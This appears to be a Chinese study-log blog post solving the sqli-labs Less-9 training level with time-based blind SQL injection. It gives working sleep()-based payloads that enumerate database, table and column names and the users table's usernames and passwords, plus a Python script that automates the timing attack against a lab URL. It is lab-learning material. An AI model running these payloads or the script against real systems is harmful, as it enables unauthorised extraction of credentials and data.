当前位置: 首页 > news >正文

日志2333

Pss-9

这一关考察的是时间盲注

先练习几个常见命令语句:

select sleep(5);--延迟5s输出结果

if (1>0,'ture','false');--输出‘ture’ /if (1<0,'ture','false');--输出‘false’

select ascii('')/select ord('')返回字符串第一个字符的结果

select length(‘hsgfdsg’);--返回字符串长度

select substr/substring/mid('dfgdhd',2,2);--输出fg,无0位

 补充知识点:

1、时间盲注:根据页面的响应时间来判断是否存在注入,联合(页面没有回显位置),报错(页面不显示数据库报错信息),布尔(s/f都只显示一种结果)都不行的时候考虑,

2、步骤:

(1)判断注入点:

?id=1 and if(1,sleep(5),3) 
?id=1' and if(1,sleep(5),3) 
?id=1" and if(1,sleep(5),3) 

(2)判断长度:

?id=1' and if((length(查询语句) =1), sleep(5), 3)

(3)枚举字符

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) 

3.时间盲注从网上找的自动化pythony脚本

-

import requests
import time

# 将url 替换成你的靶场关卡网址
# 修改两个对应的payload

# 目标网址(不带参数)
url = "http://0f3687d08b574476ba96442b3ec2c120.app.mituan.zone/Less-9/"
# 猜解长度使用的payload
payload_len = """?id=1' and if(
	(length(database()) ={n})
,sleep(5),3) -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and if(
	(ascii(
		substr(
		(database())
		,{n},1)
	) ={r})
, sleep(5), 3) -- a"""

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        start_time = time.time()
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面响应时间 = 结束执行的时间 - 开始执行的时间
        use_time = time.time() - start_time
        # 响应时间>5秒时,表示猜解成功
        if use_time > 5:
            print('测试长度完成,长度为:', length,)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    # 第一层循环,截取每一个字符
    for l in range(1, length+1):
        # 第二层循环,枚举截取字符的每一种可能性
        for n in range(33, 126):
            start_time = time.time()
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            # 页面响应时间 = 结束执行的时间 - 开始执行的时间
            use_time = time.time() - start_time
            # 页面中出现此内容则表示成功
            if use_time > 5:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)

 无论输入id=1/id=1'/id-1"全部不报错没回显,考虑时间盲注

先通过时间函数判断闭合点 ,单引号闭合,加载了5s

?id=1' and if((length(database())>8),sleep(5),66)--+

到8的时候就不转了,数据库长度为8

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(5),0)--+
?id=1'and if((ascii(substr(database(),1,1))>100),sleep(5),0)--+

转了5s,通过这种界定,逐个试,是115,最后得出security

?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1)--+

用上面这个判断表个数,后面的其实就是变了个函数机理都一样

?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),0)--+ --1
......
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 3,1))=5,sleep(5),0)--+ --4

判断表长

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(5),0)--+

表名

?id=1' and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1)--+

字段

?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),0)--+
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep (5),0)--+
....
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1))=8,sleep(5),0)--+
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,1))=112,sleep (5),0)--+

字段长度,名称

?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1)--+
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,sleep(5),1)--+

得username, password

第10关也是时间盲注

相关文章:

  • 大模型幻觉产生的【九大原因】
  • Browser Use Web UI 本地部署完全指南:从入门到精通
  • 分享最近前端面试遇到的一些问题
  • bootstrap 表格插件bootstrap table 的使用经验谈!
  • ✨【数据变形术:联合体在通信协议中的降维打击】✨
  • 编程考古-安德斯·海尔斯伯格(Anders Hejlsberg)回答离开Borland的原因
  • arcgispro加载在线地图
  • 人工智能在智能交通中的应用:以L4级无人电动物流拖车为例
  • 收数据花式画图plt实战
  • iptables和netfilter内部报文处理
  • 火语言RPA--表格内容过滤筛选
  • JavaScript基础-删除事件(解绑事件)
  • 【Golang】slice切片
  • neo4j删除所有数据
  • mysql——第二课
  • [蓝桥杯 2023 省 B] 子串简写
  • 基于Azure云平台整合Delta Lake、Databricks和Azure Machine Learning的MLOps架构
  • Redis实战常用二、缓存的使用
  • 隋卞做 隋卞一探 视频下载
  • 常用高压30V以上DCDC开关电源稳压器
  • 超越梅罗,这样一个亚马尔折射巴萨的容错率
  • 山西太原一小区发生爆炸,造成1人遇难21人受伤2人失联
  • 神舟十九号航天员乘组平安抵京
  • 民生访谈|规范放生活动、提升供水品质……上海将有这些举措
  • 加拿大驾车撞人事件遇难人数升到11人
  • 我国对国家发展规划专门立法